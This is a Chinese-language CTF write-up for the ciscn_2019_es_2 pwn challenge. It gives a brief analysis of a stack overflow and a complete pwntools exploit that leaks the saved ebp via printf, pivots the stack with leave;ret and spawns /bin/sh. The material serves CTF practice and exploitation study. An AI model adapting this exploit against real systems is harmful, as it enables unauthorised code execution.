ciscn_2019_es_2

在這裏插入圖片描述
簡單分析:兩次read都往同一個地方填數據(s棧變量的位置),可輸入0x30大小,s離ebp距離0x28,可通過printf泄露壓入的上一個棧幀的ebp,之後通過第二次read構造leave控制esp

在這裏插入圖片描述

from pwn import *

def debug_pause():
	log.info(proc.pidof(p))
	pause()

context(log_level='debug')
proc_name = './ciscn_2019_es_2'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 28419)
elf = ELF(proc_name)
system_plt = elf.plt['system']
main_addr = elf.sym['main']
leave_ret = 0x80484b8
log.info('leak stack_ebp_addr')
p.sendafter('name?', flat(['6' * 0x20, '9' * 0x8]))
p.recvuntil('9' * 0x8)
stack_ebp_addr = u32(p.recv(4))
log.info(hex(stack_ebp_addr))
# debug_pause()

payload = flat([p32(0), system_plt, p32(main_addr), stack_ebp_addr - 0x28, '/bin/sh']).ljust(0x28, b'\x00') + flat([stack_ebp_addr - 0x38, leave_ret])
p.send(payload)

p.interactive()

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章